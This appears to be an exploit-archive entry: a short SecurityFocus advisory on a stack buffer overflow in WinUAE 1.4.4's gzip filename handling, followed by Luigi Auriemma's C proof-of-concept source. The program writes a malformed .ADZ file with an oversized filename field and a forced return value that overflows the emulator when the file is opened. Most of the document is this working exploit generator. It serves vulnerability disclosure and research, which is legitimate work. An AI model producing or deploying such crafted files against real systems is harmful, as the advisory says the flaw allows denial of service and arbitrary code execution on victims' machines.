WinUAE 1.4.4 - 'zfile.c' Stack Buffer Overflow

// source: https://www.securityfocus.com/bid/26979/info

WinUAE is prone to a local stack-based buffer-overflow vulnerability because it fails to properly bounds-check user-supplied data before copying it to an insufficiently sized memory buffer.

An attacker can exploit this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts will result in denial-of-service conditions.

This issue affects versions prior to WinUAE 1.4.5. 

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>



#define VER     "0.1"
#define BOFSZ   10000   // 1000 + 8192 + the rest
#define BUFFSZ  (BOFSZ + 32)
#define u8      unsigned char



int putsc(u8 *data, int chr, int len);
int putxx(u8 *data, unsigned num, int bits);
void std_err(void);



int main(int argc, char *argv[]) {
    FILE    *fd;
    u8      *fname,
            *buff,
            *p;

    setbuf(stdout, NULL);

    fputs("\n"
        "WinUAE <= 1.4.4 gunzip buffer-overflow "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    aluigi.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <output.ADZ>\n"
            "\n", argv[0]);
        exit(1);
    }

    fname = argv[1];

    buff = malloc(BUFFSZ);
    if(!buff) std_err();

    p = buff;
    p += putxx(p, 0x1f,     8);     // header[0]
    p += putxx(p, 0x8b,     8);     // header[1]
    p += putxx(p, 0x00,     8);     // header[2]
    p += putxx(p, 0x08,     8);     // flags
    p += putsc(p, 0x00,     6);     // rest of the header
    p += putsc(p, 'A',      BOFSZ); // filename buffer-overflow
    p += putxx(p, 0,        8);     // NULL byte delimiter
    p += putxx(p, -1,       32);    // force the return

    printf("- create file %s\n", fname);
    fd = fopen(fname, "wb");
    if(!fd) std_err();
    fwrite(buff, 1, p - buff, fd);
    fclose(fd);
    free(buff);
    printf("- done\n");
    return(0);
}



int putsc(u8 *data, int chr, int len) {
    memset(data, chr, len);
    return(len);
}



int putxx(u8 *data, unsigned num, int bits) {
    int     i,
            bytes;

    bytes = bits >> 3;

    for(i = 0; i < bytes; i++) {
        data[i] = (num >> (i << 3)) & 0xff;
    }
    return(bytes);
}



void std_err(void) {
    perror("\nError");
    exit(1);
}